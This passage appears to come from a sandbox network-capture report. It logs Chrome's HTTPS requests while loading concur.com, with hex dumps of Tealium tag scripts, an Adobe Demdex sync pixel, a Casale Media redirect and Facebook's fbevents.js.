2024-10-03 08:41:43 UTC	658	IN	Data Raw: 61 72 74 6e 65 72 5f 69 64 3d 70 61 72 74 6e 65 72 4c 69 73 74 3b 75 2e 64 61 74 61 2e 6c 69 6e 6b 65 64 69 6e 2e 6f 72 64 65 72 5f 69 64 3d 75 2e 64 61 74 61 2e 6f 72 64 65 72 5f 69 64 3b 75 2e 64 61 74 61 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6e 76 5f 76 61 6c 75 65 3d 75 2e 64 61 74 61 2e 6f 72 64 65 72 5f 74 6f 74 61 6c 3b 75 2e 64 61 74 61 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6e 76 5f 63 75 72 72 65 6e 63 79 3d 75 2e 64 61 74 61 2e 6f 72 64 65 72 5f 63 75 72 72 65 6e 63 79 3b 5f 6c 69 6e 6b 65 64 69 6e 3d 75 2e 63 6c 65 61 72 45 6d 70 74 79 4b 65 79 73 28 75 2e 64 61 74 61 2e 6c 69 6e 6b 65 64 69 6e 29 3b 77 69 6e 64 6f 77 2e 5f 77 61 69 74 5f 66 6f 72 5f 6c 69 6e 74 72 6b 3d 21 21 75 2e 64 61 74 61 2e 63 6f 6e 76 65 72 73 69 6f 6e 49 64 3b 75 2e 6c 6f Data Ascii: artner_id=partnerList;u.data.linkedin.order_id=u.data.order_id;u.data.linkedin.conv_value=u.data.order_total;u.data.linkedin.conv_currency=u.data.order_currency;_linkedin=u.clearEmptyKeys(u.data.linkedin);window._wait_for_lintrk=!!u.data.conversionId;u.lo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49964	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:42 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1197.js?utv=ut4.39.202202111748 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3864 Connection: close Date: Thu, 03 Oct 2024 08:41:42 GMT Last-Modified: Thu, 26 Sep 2024 17:13:47 GMT ETag: "6e1743a5beac51c0b5e7dd5e661a44f1" x-amz-server-side-encryption: AES256 x-amz-version-id: fAx_U1zl5WXDIPM7Hd3yCG8U0SO.chYY Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 32803d0ba3af70cddd7db80d2fd00608.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 6Sk350vAYPSCHSAsdmSEKPJcOl_Rsf4D8DOp8PQOjv_5XqFARFrbHA== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:43 UTC	3864	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 39 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 69 66 28 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 6c 6f 61 64 65 72 3d Data Ascii: //tealium universal tag - utag.1197 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49960	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:42 UTC	720	OUT	GET /ibs:dpid=79908&dpuuid=Zv5YxMr7bME0JQVxqlPDhBNP HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547\|121998-1-1727944899411\|144230-1-1727944901388
2024-10-03 08:41:43 UTC	892	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:43 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: ndEIBjZpTxs= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-04f79e5ee.edge-irl1.demdex.com 11 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:43 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:43 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:43 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49963	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:42 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1200.js?utv=ut4.39.202303281945 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	613	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 11706 Connection: close Last-Modified: Thu, 26 Sep 2024 17:12:53 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: pxJZVj5_rYZOXvREMafvWsECsOh.qNQ6 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:42 GMT ETag: "4757bb05b2d753448c5af02778bc8fab" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 32803d0ba3af70cddd7db80d2fd00608.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: RE4MeaUI9CAta_yF0Egd_BxIvL80vQq_jkWdZcPqOgFMxuHFO0MNaw== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:43 UTC	11706	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 30 30 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1200 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49965	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:42 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1206.js?utv=ut4.39.202206021450 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	613	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 11349 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:36 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 4N_LmiMm28Rg3GOJjizXBUS_Yeql.91g Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:42 GMT ETag: "716510f3cb56bfe3ff71a95af11fb9ef" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 de048058a16d8205bfbc06a8f2eefb34.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: Z0R91-gCIouturWmohnSyDOTB03nVpgR65wAYjDpT9I2a2PVOshvmA== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:43 UTC	11349	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 30 36 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1206 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49962	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:42 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1217.js?utv=ut4.39.202206021450 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	613	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 11349 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:58 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: Anl.A4Cfegm3nMc3ZUIlyg4d7cEBd63K Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:42 GMT ETag: "b0dba62c77877092bd3fc4640c69f3a0" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 32803d0ba3af70cddd7db80d2fd00608.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: bONzVXudnl_D_HfsNxfs7Dg3MEHutO17f0h1Taq3c0VIO0RbrBZzrQ== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:43 UTC	11349	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 31 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1217 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49966	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1235.js?utv=ut4.39.202209222013 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2002 Connection: close Date: Thu, 03 Oct 2024 08:41:42 GMT Last-Modified: Thu, 26 Sep 2024 17:13:22 GMT ETag: "e538d43680289028aec3499f6b4c03db" x-amz-server-side-encryption: AES256 x-amz-version-id: wUVJiluaLPV1FGI2xhtU1uDr4UV6X2Pk Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 2e8126aebd83e92e3cf50c4f9c832912.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: DpcZHKzXA9ANYwvMK_OACCLB-5ntVVwrN6J6VYjXgYBSRC0NndXxNg== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:43 UTC	2002	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 33 35 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 75 2e 65 76 3d 7b 22 76 69 65 77 22 3a 31 7d 3b 75 2e 6d 61 70 3d 7b 7d 3b 75 2e 65 78 74 65 6e 64 3d 5b 5d 3b 75 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 75 2e 65 76 5b 61 5d 7c 7c 75 2e 65 76 2e 61 6c 6c 21 3d 3d 75 6e 64 Data Ascii: //tealium universal tag - utag.1235 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;u.ev={"view":1};u.map={};u.extend=[];u.send=function(a,b){if(u.ev[a]\|\|u.ev.all!==und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49971	172.64.151.101	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	636	OUT	GET /rum?cm_dsp_id=18&expiry=1743669702&external_user_id=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	1172	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 08:41:43 GMT Content-Length: 0 Connection: close Location: /rum?cm_dsp_id=18&expiry=1743669702&external_user_id=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0&C=1 CF-Ray: 8ccba27d1bc441d8-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; Path=/; Domain=casalemedia.com; Expires=Fri, 03 Oct 2025 08:41:43 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=489; Path=/; Domain=casalemedia.com; Expires=Wed, 01 Jan 2025 08:41:43 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=489; Path=/; Domain=casalemedia.com; Expires=Wed, 01 Jan 2025 08:41:43 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vuat6v%2BP0lvLbg0ijq13G%2BODIXJgl6oVXwe1pd3gaT7W80uAehIAbCtoCpysJdoj9RD0JlYr%2F0eww%2BzI9bUvUzavImgdOy4waK32eJhbDgSJC7K70admqruB5mQouFuBUapElpsm5%2B4TKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49970	157.240.253.1	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	535	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	1451	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src 'unsafe-inline' .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-10-03 08:41:43 UTC	1676	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2024-10-03 08:41:43 UTC	1	IN	Data Raw: 2f Data Ascii: /
2024-10-03 08:41:43 UTC	14707	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2024-10-03 08:41:43 UTC	16384	IN	Data Raw: 7b 64 6f 6d 61 69 6e 5f 75 72 69 3a 62 2c 65 76 65 6e 74 5f 74 79 70 65 3a 63 2c 65 78 74 72 61 63 74 6f 72 5f 74 79 70 65 3a 64 2c 69 64 3a 61 7d 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 67 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 61 2e 65 78 74 72 61 63 74 6f 72 5f 63 6f 6e 66 69 67 3b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 62 3d 61 2e 70 61 72 Data Ascii: {domain_uri:b,event_type:c,extractor_type:d,id:a}:null}function g(a){if(a==null\|\|(typeof a==="undefined"?"undefined":i(a))!=="object")return null;a=a.extractor_config;if(a==null\|\|(typeof a==="undefined"?"undefined":i(a))!=="object")return null;var b=a.par
2024-10-03 08:41:43 UTC	16384	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 54 79 70 65 64 22 29 2c 62 3d 61 2e 54 79 70 65 64 3b 61 2e 63 6f 65 72 63 65 3b 61 2e 65 6e 66 6f 72 63 65 3b 61 3d 62 2e 61 72 72 61 79 4f 66 28 62 2e 6f 62 6a 65 63 74 57 69 74 68 46 69 65 6c 64 73 28 7b 61 6c 6c 6f 63 61 74 69 6f 6e 3a 62 2e 6e 75 6d 62 65 72 28 29 2c 63 6f 64 65 3a 62 2e 73 74 72 69 6e 67 28 29 2c 6e 61 6d 65 3a 62 2e 73 74 72 69 6e 67 28 29 2c 70 61 73 73 52 61 74 65 3a 62 2e 6e 75 6d 62 65 72 28 29 7d 29 29 3b 6b 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 Data Ascii: (function(){"use strict";var a=f.getFbeventsModules("SignalsFBEventsTyped"),b=a.Typed;a.coerce;a.enforce;a=b.arrayOf(b.objectWithFields({allocation:b.number(),code:b.string(),name:b.string(),passRate:b.number()}));k.exports=a})();return k.exports}(a,b,c,d
